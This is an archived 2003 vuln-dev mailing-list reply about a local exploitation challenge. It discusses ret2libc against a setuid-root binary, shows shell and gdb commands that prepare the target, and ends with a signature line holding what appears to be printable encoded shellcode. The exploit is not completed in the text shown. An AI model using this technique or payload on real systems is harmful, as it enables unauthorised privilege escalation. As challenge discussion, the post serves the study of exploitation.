|
|||||||||||
|
Re: [Vuln-dev Challenge] Challenge #2
From: Jose Ronnick <matrix(at)phiral.com>
Date: Sat May 24 2003 - 21:03:03 EDT
On Sat, 24 May 2003 13:11:13 +0200
> 0wn3d. Ret into libc exploitation, no setuid() stuff, quite simple in
I agree about using ret2libc... this one was easy enough you shouldn't have used shellcode.. =) however... you forget that system() executes through /bin/sh which will drop privs. Try making the vuln program suidroot and then run your exploit... still no root shell. =/ close.. but it really doesn't give you much more since you already had a basic user shell before you executed the sploit.. Here's one way to do it using ret2libc to avoid the privilege dropping.. (same as the encrypted post earlier, plaintext now since the cat's outta the bag anyways).. There's also a way to do with without building a trampoline prog to bounce off of.. just chaining libc calls... If no one else posts a solution doing it, I'll do it an post it later...
matrix@overdose vuln-dev $ gcc -o vuln2 vulndev2.c
matrix@overdose vuln-dev $ sudo chown root.root vuln2
matrix@overdose vuln-dev $ sudo chmod +s vuln2
matrix@overdose vuln-dev $ echo 'main(){sleep();execl();}' > e.c;gcc -o e.x e.c;gdb -q e.x; rm e.*
(gdb) break main
Breakpoint 1 at 0x804836e (gdb) run Starting program: /home/matrix/research/vuln-dev/e.x
Breakpoint 1, 0x0804836e in main ()
-- %JOSE_RONNICK%50,:-dddd-0EEb-pVVyP\-1111-jjjj-yNNN-_4HUP-qq0q-02%r-_Z%JP-%Iwp-5kyyP-n5nn-aTTa-1271P-4ttt-/888-3tSMP-bbnb-L8wL-kMwgP-3Hy3-rqzWP-m%m8-h4x--v%r5P-S7S7-g7g7-F2u2PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:39 EDT |
||||||||||
|
|||||||||||